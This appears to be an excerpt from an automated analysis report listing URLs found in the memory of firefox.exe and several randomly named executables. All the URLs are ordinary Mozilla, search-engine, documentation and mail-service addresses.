Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/AppMenuNotificat
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000017.00000002.2217339582.0000016BB7B78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000017.00000002.2168127353.0000016BB4B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6682000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2217339582.0000016BB7B8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2205286136.0000016BB6B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2112358356.0000005F201D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2126775101.0000016BB01FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2137248291.0000016BB3C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgmigrateXULAttributeToStylenetwork.proxy.backup.socksbrowser.tabs.drawInTit
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB644D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2181654980.0000016BB5090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: ff3d383111.exe, 00000004.00000003.1881342956.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000017.00000002.2196743064.0000016BB6582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB162A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2181654980.0000016BB5008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0AAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0AAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/locale/safebrowsing/safebrowsin
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000017.00000003.1993791305.0000016BB435A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993222239.0000016BB4100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2157587409.0000016BB4670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.1993377123.0000016BB431F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: ff3d383111.exe, 00000004.00000003.1881342956.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000017.00000002.2123948491.0000016BA4811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2123948491.0000016BA4830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2259078814.0000016BBC7B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsInt
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 6e2c49386e.exe, 00000006.00000002.1926357964.00000000002FC000.00000040.00000001.01000000.00000009.sdmp, 6e2c49386e.exe, 00000006.00000003.1886057556.0000000004CCB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000023.00000000.2187679070.0000000000B5C000.00000008.00000001.01000000.00000013.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000017.00000003.1993791305.0000016BB435A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993222239.0000016BB4100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2168127353.0000016BB4BF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2157587409.0000016BB4670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.1993377123.0000016BB431F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2268059490.00000AB94DB04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2273685182.000036289EB04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2268717210.000021B03B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2269118158.0000265EC9B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000017.00000002.2268059490.00000AB94DB04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2268717210.000021B03B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2269118158.0000265EC9B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/Z
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6342000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997711235.0000016BB3B33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997404526.0000016BB3B1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997711235.0000016BB3B33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997404526.0000016BB3B1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%shttps://outlook.live.com/default.aspx?rru=compose&
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Populating
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB2395000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comXRE_PROFILE_PATH=
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
